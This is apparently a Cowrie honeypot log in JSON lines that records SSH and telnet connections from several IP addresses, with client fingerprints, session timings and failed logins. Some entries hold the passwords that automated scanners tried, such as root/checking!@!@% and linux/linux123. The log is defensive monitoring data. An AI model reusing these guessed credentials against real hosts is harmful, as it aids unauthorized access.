{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:27.299578Z","src_ip":"103.176.20.57","session":"6b4b049d71a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:28.046203Z","src_ip":"103.176.20.57","session":"6b4b049d71a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:29.309600Z","src_ip":"103.176.20.57","session":"6b4b049d71a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.69903874397278,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:32.257805Z","src_ip":"50.6.8.71","session":"0988a053d399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41000,"dst_ip":"10.17.0.5","dst_port":23,"session":"61fb71e1901e","protocol":"telnet","message":"New connection: 50.6.8.71:41000 (10.17.0.5:23) [session: 61fb71e1901e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:38.932606Z"}
{"eventid":"cowrie.session.closed","duration":36.806538820266724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:40.681153Z","src_ip":"50.6.8.71","session":"6b3afe8056af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.001396894454956,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:41.595971Z","src_ip":"50.6.8.71","session":"581d01bd369d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56384,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb27c836b53b","protocol":"telnet","message":"New connection: 50.6.8.71:56384 (10.17.0.5:23) [session: fb27c836b53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:47.545275Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34806,"dst_ip":"159.203.135.109","dst_port":22,"session":"c02bda5521fc","protocol":"ssh","message":"New connection: 103.27.238.120:34806 (159.203.135.109:22) [session: c02bda5521fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:54.757536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:54.762823Z","src_ip":"103.27.238.120","session":"c02bda5521fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:55.040456Z","src_ip":"103.27.238.120","session":"c02bda5521fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48768,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df12cf30fd3","protocol":"ssh","message":"New connection: 103.149.28.157:48768 (159.203.135.109:22) [session: 8df12cf30fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:55.394547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:55.399782Z","src_ip":"103.149.28.157","session":"8df12cf30fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:55.647605Z","src_ip":"103.149.28.157","session":"8df12cf30fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:55.856793Z","src_ip":"103.27.238.120","session":"c02bda5521fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:56.390946Z","src_ip":"103.149.28.157","session":"8df12cf30fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:57.131489Z","src_ip":"103.27.238.120","session":"c02bda5521fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53902,"dst_ip":"159.203.135.109","dst_port":22,"session":"98d82b16a535","protocol":"ssh","message":"New connection: 103.77.242.62:53902 (159.203.135.109:22) [session: 98d82b16a535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:57.624233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:57.629077Z","src_ip":"103.77.242.62","session":"98d82b16a535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:57.641106Z","src_ip":"103.149.28.157","session":"8df12cf30fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:57.878139Z","src_ip":"103.77.242.62","session":"98d82b16a535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:58.613457Z","src_ip":"103.77.242.62","session":"98d82b16a535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:57:59.864659Z","src_ip":"103.77.242.62","session":"98d82b16a535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33822,"dst_ip":"10.17.0.5","dst_port":23,"session":"805b5e5467b4","protocol":"telnet","message":"New connection: 50.6.8.71:33822 (10.17.0.5:23) [session: 805b5e5467b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:02.189072Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":47520,"dst_ip":"159.203.135.109","dst_port":22,"session":"beb6a4e9d83c","protocol":"ssh","message":"New connection: 103.183.114.55:47520 (159.203.135.109:22) [session: beb6a4e9d83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:05.652688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:05.658244Z","src_ip":"103.183.114.55","session":"beb6a4e9d83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:05.885628Z","src_ip":"103.183.114.55","session":"beb6a4e9d83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:06.553563Z","src_ip":"103.183.114.55","session":"beb6a4e9d83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:07.779606Z","src_ip":"103.183.114.55","session":"beb6a4e9d83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.196717262268066,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:18.129232Z","src_ip":"50.6.8.71","session":"61fb71e1901e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60144,"dst_ip":"10.17.0.5","dst_port":23,"session":"2739ece4dccd","protocol":"telnet","message":"New connection: 50.6.8.71:60144 (10.17.0.5:23) [session: 2739ece4dccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:22.879587Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":52396,"dst_ip":"159.203.135.109","dst_port":22,"session":"81538fb99361","protocol":"ssh","message":"New connection: 201.77.124.248:52396 (159.203.135.109:22) [session: 81538fb99361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:23.010633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:23.015216Z","src_ip":"201.77.124.248","session":"81538fb99361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:23.146440Z","src_ip":"201.77.124.248","session":"81538fb99361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":51444,"dst_ip":"159.203.135.109","dst_port":22,"session":"95cc41446178","protocol":"ssh","message":"New connection: 103.27.238.68:51444 (159.203.135.109:22) [session: 95cc41446178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:23.234272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:23.241317Z","src_ip":"103.27.238.68","session":"95cc41446178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:23.520534Z","src_ip":"103.27.238.68","session":"95cc41446178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:23.704956Z","src_ip":"201.77.124.248","session":"81538fb99361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:24.356922Z","src_ip":"103.27.238.68","session":"95cc41446178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:24.862386Z","src_ip":"201.77.124.248","session":"81538fb99361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:25.635028Z","src_ip":"103.27.238.68","session":"95cc41446178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39628,"dst_ip":"10.17.0.5","dst_port":23,"session":"61e2894e40e2","protocol":"telnet","message":"New connection: 50.6.8.71:39628 (10.17.0.5:23) [session: 61e2894e40e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:27.266665Z"}
{"eventid":"cowrie.session.closed","duration":46.161396503448486,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:33.706581Z","src_ip":"50.6.8.71","session":"fb27c836b53b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41877770423889,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:36.607722Z","src_ip":"50.6.8.71","session":"805b5e5467b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39634,"dst_ip":"10.17.0.5","dst_port":23,"session":"62adec54fdb2","protocol":"telnet","message":"New connection: 50.6.8.71:39634 (10.17.0.5:23) [session: 62adec54fdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:38.085658Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46460,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ccb9bf6191","protocol":"telnet","message":"New connection: 50.6.8.71:46460 (10.17.0.5:23) [session: 77ccb9bf6191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:40.201487Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a2a1b2d6862","protocol":"telnet","message":"New connection: 50.6.8.71:46464 (10.17.0.5:23) [session: 5a2a1b2d6862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:40.284587Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46476,"dst_ip":"10.17.0.5","dst_port":23,"session":"68577905b6ce","protocol":"telnet","message":"New connection: 50.6.8.71:46476 (10.17.0.5:23) [session: 68577905b6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:58:41.702595Z"}
